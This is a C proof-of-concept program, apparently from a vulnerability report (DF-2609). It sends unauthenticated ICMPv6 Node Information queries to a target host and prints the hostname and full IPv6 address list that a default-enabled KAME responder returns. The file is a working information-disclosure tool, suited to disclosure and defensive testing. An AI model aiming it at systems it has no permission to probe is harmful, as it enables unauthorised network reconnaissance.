DF-2609 / niq.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 | /* * niq.c -- ICMPv6 Node Information (RFC 4620) query sender/receiver. * DF-2609 PoC: proves the default-enabled (icmp6_nodeinfo=3) KAME nodeinfo * responder answers unauthenticated queries with the system hostname * (QTYPE FQDN, no-subject oldfqdn compat path) and the full IPv6 address * inventory (QTYPE NODEADDR + ALL/scope flags). * * Query wire format (after the IPv6 header the kernel prepends): * type=139 code=0 cksum=0 qtype(BE16) flags(BE16) nonce[8] [subject(16)] * * The kernel computes the ICMPv6 checksum for raw ICMPv6 sockets * (raw_ip6.c:393-418), so cksum is sent as 0. * * usage: niq [-r repeats] dst fqdn|nodeaddr|suptypes [flags-be-hex] * flags-be-hex example for nodeaddr: 002e (ALL|COMPAT|LINKLOCAL|GLOBAL) * default nodeaddr flags: 002e */ #include <sys/types.h> #include <sys/socket.h> #include <sys/time.h> #include <netinet/in.h> #include <netinet/icmp6.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #define NI_QUERY_TYPE 139 #define NI_REPLY_TYPE 140 #define QTYPE_SUPTYPES 1 #define QTYPE_FQDN 2 #define QTYPE_NODEADDR 3 struct niq_hdr { uint8_t type; uint8_t code; uint16_t cksum; uint16_t qtype; /* BE on the wire */ uint16_t flags; /* BE on the wire */ uint8_t nonce[8]; } __attribute__((__packed__)); static void hexdump(const uint8_t *b, size_t n, const char *pfx) { size_t i; for (i = 0; i < n; i++) { if (i % 16 == 0) printf("%s%04zx:", pfx, i); printf(" %02x", b[i]); if (i % 16 == 15 || i + 1 == n) printf("\n"); } } static const char * scope_of(const struct in6_addr *a) { if (IN6_IS_ADDR_UNSPECIFIED(a)) return "unspecified"; if (IN6_IS_ADDR_LOOPBACK(a)) return "loopback"; if (IN6_IS_ADDR_LINKLOCAL(a)) return "linklocal"; if (IN6_IS_ADDR_SITELOCAL(a)) return "sitelocal"; if (IN6_IS_ADDR_V4COMPAT(a)) return "v4compat"; if (IN6_IS_ADDR_V4MAPPED(a)) return "v4mapped"; if (IN6_IS_ADDR_MULTICAST(a)) return "multicast"; return "global"; } static void parse_reply(const uint8_t *pkt, ssize_t n, int skip) { const struct niq_hdr *h = (const void *)(pkt + skip); const uint8_t *payload; size_t plen, off; char ip[64]; if (n < skip + (ssize_t)sizeof(*h)) { printf("PARSE: short reply (%zd bytes)\n", n); return; } plen = n - skip - sizeof(*h); payload = (const uint8_t *)h + sizeof(*h); if (skip) inet_ntop(AF_INET6, pkt + 24, ip, sizeof(ip)); else snprintf(ip, sizeof(ip), "(raw)"); printf("REPLY from %s: type=%u code=%u qtype=%u flags=0x%04x nonce=" "%02x%02x%02x%02x%02x%02x%02x%02x payload=%zu\n", ip, h->type, h->code, ntohs(h->qtype), ntohs(h->flags), h->nonce[0], h->nonce[1], h->nonce[2], h->nonce[3], h->nonce[4], h->nonce[5], h->nonce[6], h->nonce[7], plen); switch (ntohs(h->qtype)) { case QTYPE_FQDN: { const uint8_t *p; size_t i, l; if (plen < 4) { printf("FQDN: no TTL/data\n"); break; } printf("FQDN ttl=0x%02x%02x%02x%02x name=", payload[0], payload[1], payload[2], payload[3]); p = payload + 4; i = 0; while (i < plen - 4 && (l = p[i]) != 0) { if (i) printf("."); if (i + 1 + l > plen - 4) { printf("<bogus len %zu>", l); break; } fwrite(p + i + 1, 1, l, stdout); i += 1 + l; } printf("\n"); break; } case QTYPE_NODEADDR: { size_t rec; if (plen % 20) printf("NODEADDR: payload not multiple of 20 (%zu)\n", plen); printf("NODEADDR count=%zu\n", plen / 20); for (rec = 0; rec + 20 <= plen; rec += 20) { const uint8_t *r = payload + rec; struct in6_addr a; uint32_t aflags; memcpy(&a, r + 4, 16); aflags = ((uint32_t)r[0] << 24) | ((uint32_t)r[1] << 16) | ((uint32_t)r[2] << 8) | r[3]; inet_ntop(AF_INET6, &a, ip, sizeof(ip)); printf("NODEADDR[%zu] flags=0x%08x %s (%s)\n", rec / 20, aflags, ip, scope_of(&a)); } break; } case QTYPE_SUPTYPES: printf("SUPTYPES bitmap=0x"); for (off = 0; off < plen && off < 4; off++) printf("%02x", payload[off]); printf("\n"); break; default: break; } } int main(int argc, char **argv) { struct sockaddr_in6 dst, from; socklen_t fromlen; struct icmp6_filter filt; struct niq_hdr q; uint8_t buf[2048]; uint8_t pkt[64]; int s, r, repeats = 1, i, opt, qtype = QTYPE_FQDN, rv = 1; unsigned long flags = 0x2e; /* ALL|COMPAT|LINKLOCAL|GLOBAL */ struct timeval tv; ssize_t n; while ((opt = getopt(argc, argv, "r:")) != -1) { switch (opt) { case 'r': repeats = atoi(optarg); break; default: goto usage; } } argc -= optind; argv += optind; if (argc < 2) goto usage; memset(&dst, 0, sizeof(dst)); dst.sin6_family = AF_INET6; if (inet_pton(AF_INET6, argv[0], &dst.sin6_addr) != 1) { fprintf(stderr, "bad dst %s\n", argv[0]); return 2; } if (!strcmp(argv[1], "fqdn")) qtype = QTYPE_FQDN; else if (!strcmp(argv[1], "nodeaddr")) qtype = QTYPE_NODEADDR; else if (!strcmp(argv[1], "suptypes")) qtype = QTYPE_SUPTYPES; else goto usage; if (argc > 2) flags = strtoul(argv[2], NULL, 16); s = socket(AF_INET6, SOCK_RAW, 58 /* IPPROTO_ICMPV6 */); if (s < 0) { perror("socket(SOCK_RAW, ICMPV6) [needs root]"); return 2; } ICMP6_FILTER_SETBLOCKALL(&filt); ICMP6_FILTER_SETPASS(NI_REPLY_TYPE, &filt); if (setsockopt(s, IPPROTO_ICMPV6, ICMP6_FILTER, &filt, sizeof(filt))) perror("setsockopt(ICMP6_FILTER)"); i = 255; setsockopt(s, IPPROTO_IPV6, IPV6_UNICAST_HOPS, &i, sizeof(i)); for (r = 0; r < repeats; r++) { memset(&q, 0, sizeof(q)); q.type = NI_QUERY_TYPE; q.code = 0; /* no subject / old format */ q.cksum = 0; q.qtype = htons(qtype); q.flags = htons(flags); for (i = 0; i < 8; i++) q.nonce[i] = (getpid() >> (i % 8)) ^ (r + 1) ^ 0xa5; memset(pkt, 0, sizeof(pkt)); memcpy(pkt, &q, sizeof(q)); if (qtype == QTYPE_NODEADDR) { /* ni6_input requires a 16-byte subject == dst (code 0) */ memcpy(pkt + 16, &dst.sin6_addr, 16); } printf("=== query %d -> %s qtype=%u flags=0x%04lx len=%d\n", r + 1, argv[0], qtype, flags, (int)sizeof(q) + (qtype == QTYPE_NODEADDR ? 16 : 0)); if (sendto(s, pkt, sizeof(q) + (qtype == QTYPE_NODEADDR ? 16 : 0), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0) { perror("sendto"); goto out; } tv.tv_sec = 2; tv.tv_usec = 0; setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); fromlen = sizeof(from); n = recvfrom(s, buf, sizeof(buf), 0, (struct sockaddr *)&from, &fromlen); if (n < 0) { if (errno == EAGAIN || errno == EWOULDBLOCK) printf("NO REPLY (timeout)\n"); else perror("recvfrom"); continue; } hexdump(buf, n, " "); /* raw v6 ICMP sockets deliver the ICMPv6 message without * the IPv6 header; auto-detect */ { int skip = (buf[0] == NI_REPLY_TYPE || buf[0] == NI_QUERY_TYPE) ? 0 : 40; parse_reply(buf, n, skip); } rv = 0; /* got at least one reply */ } out: close(s); return rv; usage: fprintf(stderr, "usage: niq [-r repeats] dst fqdn|nodeaddr|suptypes [flags-be-hex]\n"); return 2; } |